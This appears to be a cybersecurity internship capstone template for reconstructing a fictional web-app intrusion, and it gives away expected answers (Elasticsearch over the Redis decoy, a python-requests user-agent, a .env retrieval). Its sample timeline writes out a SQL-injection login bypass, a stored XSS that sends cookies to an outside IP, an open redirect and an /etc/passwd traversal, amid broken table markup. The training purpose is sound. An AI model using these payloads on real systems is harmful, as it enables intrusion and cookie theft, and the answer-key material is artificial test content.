

Ubuntu Bridge Initiative · Cybersecurity Internship · Cohort 1 · Stage 2 Capstone

*Editable template — Deliverable 1 of 4. Target length: 3–5 pages. This template mirrors the structure of a top-band (80+) submission. Edit in Google Docs or Microsoft Word. Replace every ``[BRACKETED]`` prompt with your own writing. Delete every prompt before you save the final file. The italic guidance notes (like this one) must also be removed before submission. The template gives you the **shape** of a full-marks answer — it cannot give you the evidence. That comes from the lab.*

Deliverable 1 — Intrusion reconstruction & access timeline

~~Before~~ **Before** you start writing, check yourself:

>

- Have you finished lab Tasks 1 and 2 and saved your scratch file (timestamps, log lines, command output)? D1 is assembled from that scratch file — you cannot write it from memory.
- Do you know which exposed service gave The Griot its **first live customer data** — and can you prove it with two timestamps? (Task 1's README points you at the **Redis cache**. The clock says otherwise. If you are about to write "Redis," stop and re-read the timeline.)
- Can you name the attacker IP **by behaviour** — user-agent and the one path it actually retrieved — not just "the first IP that touched /legacy-admin"?
- If any answer is no, close this template and finish that work first. A polished timeline built on the decoy fails.

% % Page 1 — Title and methodology % %

Stage 2 · D1 · [Your Full Name] · [UBI-2026-####]

(This must be the literal first line inside the file — it is how two graders confirm they are reading the same person's work.)

Stage 2 Capstone · Deliverable 1

Intrusion reconstruction & access timeline

Author: [Your full name as it appears on the UBI platform] **Intern code:** [UBI-2026-####] **Date completed:** [DD Month 2026] **Engagement:** Sankofa Digital · post-incident reconstruction · "The Griot" intrusion, 04 June 2024 **Programme:** Ubuntu Bridge Initiative · Cybersecurity Internship · Cohort 1 · Stage 2

Methodology

[Replace this paragraph with your own writing — target ~150 words. State, specifically: (1) which artefacts you read and in what order — the Task 1 recon/forensic shell output, the Task 2 edge-proxy HTTP capture, the token dump, the recovered `login.php`; (2) how you decided what was **evidence** versus **noise** — i.e. the rule you used to separate a real attacker action from a banner, a scan that returned nothing, or a planted decoy; (3) how you handled the conflict between what the README says (Redis) and what the clock *proves* (Elasticsearch) — name the tie-breaker you trusted and why.

Be specific to The Griot intrusion. A generic "I reviewed the logs and built a timeline" methodology scores nothing.]

Example opener you can adapt: "I treated the edge-proxy HTTP capture as my spine because every line carries a UTC timestamp and a source IP, then layered the Task 1 recon-shell output on top to establish which service answered first. Where the Task 1 README and the recovered timestamps disagreed — the README names the Redis cache as the first data source — I trusted the timestamps, because a banner tells you a service exists, not that the attacker got data from it..."

What counts as load-bearing evidence here

[2–3 sentences. State your bar for calling a line "load-bearing" — i.e. a line that, if removed, changes the conclusion. The grader rewards a candidate who can tell the difference between *interesting* and *load-bearing*. Name the test you applied.]

~~Before~~ Before you move to page 2, confirm:

>

- [] First line of the file is the Stage 2 · D1 · Name · Code identity line.
- [] Methodology is ~150 words and specific to The Griot intrusion, not generic.
- [] You have stated, in prose, how you resolved the Redis-vs-Elasticsearch conflict.
- [] No [BRACKETED] prompts and no italic guidance remain on this page.

%% Pages 2–4 — The reconstruction %%

Access timeline — first scan to first exfil

One row per attacker action, in strict chronological UTC order. Use the four columns exactly. Under each row, write **one or two sentences of analyst commentary** (what the row proves, and what it sets up next).

Time (UTC)	Event	Source artefact	Why it matters
03:0X:XX	[Perimeter scan begins — note when it is **cut off**]	[Task 1 recon shell — cite the line/output]	[This is the upper bound on the scan; nothing the scan returned is "live data"]
03:06:12	[Last event attributable to the scan / the decoy service]	[Task 1 — cite]	[The clock anchor: the scan ends *here*]
03:06:44	[First successful **live** query against the exposed service]	[Task 1 — cite]	[This is *after* 03:06:12 — so it cannot be the cut-off scan. This is first live data.]
02:14:08	GET `/legacy-admin/`	`02-attacker-http-capture.txt`	[Recon of the legacy app begins]

02:14:55	POST `login.php` — `username=admin&password=password` !' "Invalid credentials"	`02-attacker-http-capture.txt`	[The failed guess — proves the attacker tried the easy path first]
02:15:31	POST `login.php` — `username=admin` OR `1='1` !' 302 to `dashboard.php`, session issued	`02-attacker-http-capture.txt`	[The SQLi auth bypass — the foothold]
02:16:04	GET `users.php` !' 312 user rows (username + email + role)	`02-attacker-http-capture.txt`	[First bulk PII touch inside the app]
02:18:47	POST `comments/post` — ` <script>>fetch('https://185.220.101.9:8443/c?'+document.cookie)</script>`</td><td>`02-attacker-http-capture.txt`</td><td>[Stored XSS planted — cookie-theft beacon]</td></tr><tr><td>02:21:13</td><td>GET `login.php?next=https://185.220.101.9:8443/redir` !' external 302 honoured</td><td>`02-attacker-http-capture.txt`</td><td>[Open redirect — sets up the next link]</td></tr><tr><td>02:24:02</td><td>GET `files/?path=/etc/passwd` !' body begins `root:x:0:0`</td><td>`02-attacker-http-capture.txt`</td><td>[Path traversal / arbitrary file read confirmed]</td></tr></table></script>		

Replace the bracketed cells with your own values from your scratch file. Add or remove rows so the table reflects YOUR reconstruction — but the chronology must be exact and every row must name a real source artefact. Do not pad the table with scan noise; load-bearing rows only.

Per-row commentary

Write a 1–2 sentence analyst note under **every** row. Make each note specific to the row above it.

03:06:12 !' 03:06:44 (the clock proof) [This is the most important pair in the whole table. Explain in your own words why the 32-second gap settles the Redis-vs-Elasticsearch question: the first live query lands *after* the scan was cut off, so the data did not come from the thing the scan touched. Name the service you conclude gave first live data and quote both timestamps.]

02:15:31 (the bypass). [Why this single POST is the foothold — legitimate-looking session, no further auth needed.]

[...continue for every row you kept...]

Before you move to page 5, confirm:

>

- [] Rows are in strict UTC chronological order.

- [] The 03:06:12 and 03:06:44 rows are both present, and your commentary uses the gap as proof.

- [] Every row names a real source artefact (file, log line, or command output).

- [] No scan-noise filler rows — every row is load-bearing.

- [] No [BRACKETED] prompts remain.

%% Page 5 — The three conclusions %%

This page answers three questions the grader checks by name. Get all three right and D1 sits in the top band.

(a) The exposed service that gave first ****live**** data — with timestamp proof

[Name the service explicitly: **Elasticsearch**, not Redis. State your proof as the inequality `03:06:44 > 03:06:12` and say in one sentence what each timestamp is (the first live query vs. the moment the scan was cut off). Then name the decoy directly and say why you rejected it.

Required decoy rejection — write this: "The Task 1 README points at the Redis cache as the first data source. I reject it: [your reason — the scan that touched Redis was cut off at 03:06:12, and the first live customer-data query did not land until 03:06:44, so the live data could not have come from the cut-off scan]." Citing Redis as load-bearing costs you here **and** again in D3.]

(b) The attacker IP, justified by behaviour

[Name the IP. Then justify it by **behaviour, not order of appearance**. The first IP to touch `/legacy-admin` is not necessarily the attacker. The attacker is identified by (1) a user-agent that is a *tool* — `python-requests`, not a browser string — and (2) the fact that it actually **retrieved** `.env`. State both.

Example shape: "Several IPs probe `/legacy-admin`. I attribute the intrusion to [IP] on two behavioural grounds: its user-agent is `python-requests/...` — automation, not Firefox — and it is the only source that successfully retrieved `.env` (cite the line). Touching a path and retrieving it are different; attribution follows the retrieval."

(c) The one retrieved path that changed the outcome — vs. the interesting-but-not-load-bearing one

[Name the **load-bearing** retrieval (the one whose contents changed what the attacker could do next — e.g. the `.env` retrieval that handed over the secret that unlocked the rest of the chain). Then name one path that is **interesting but not load-bearing** (e.g. an enumeration that revealed structure but no secret) and say why it is the lesser of the two. The grader specifically rewards candidates who can rank evidence by impact rather than treating every retrieved file as equal.

Decoy warning: do not cite an inline `TRAN{not-here}` token or any planted-but-empty marker as load-bearing. Naming a decoy as the outcome-changing artefact costs you points.]

Pre-submission checklist for D1

- [] **First line** is Stage 2 · D1 · <Full Name> · <Intern Code>.
- [] **Methodology** (~150 words) is specific to The Griot intrusion and resolves the Redis-vs-Elasticsearch conflict in prose.
- [] **Timeline table** uses the four columns Time (UTC) | Event | Source artefact | Why it matters, in strict chronological order.
- [] `03:06:44 > 03:06:12` appears as explicit timestamp proof for first live data.
- [] **Per-row commentary** is written under every row.

- [] **Conclusion (a)** names Elasticsearch (not Redis) and rejects the Redis decoy in writing.
- [] **Conclusion (b)** justifies the attacker IP by `python-requests UA` **and** `.env` retrieval — by behaviour, not order.
- [] **Conclusion (c)** distinguishes the load-bearing retrieval from the interesting-but-not.
- [] **No decoy** (Redis, `TRAN{not - here}`) is cited as load-bearing anywhere.
- [] Every claim ties to **a lab artefact** (file/line/timestamp). Sentences that don't are underlined and fixed.
- [] **Every** `[BRACKETED]` **prompt** and **every italic guidance line** removed.
- [] **Page count is 3–5**. Saved as **PDF** (DOCX accepted).
- [] **File named** `STAGE2_D1_RECON_<Surname>.pdf`.

— *UBI Programme Team*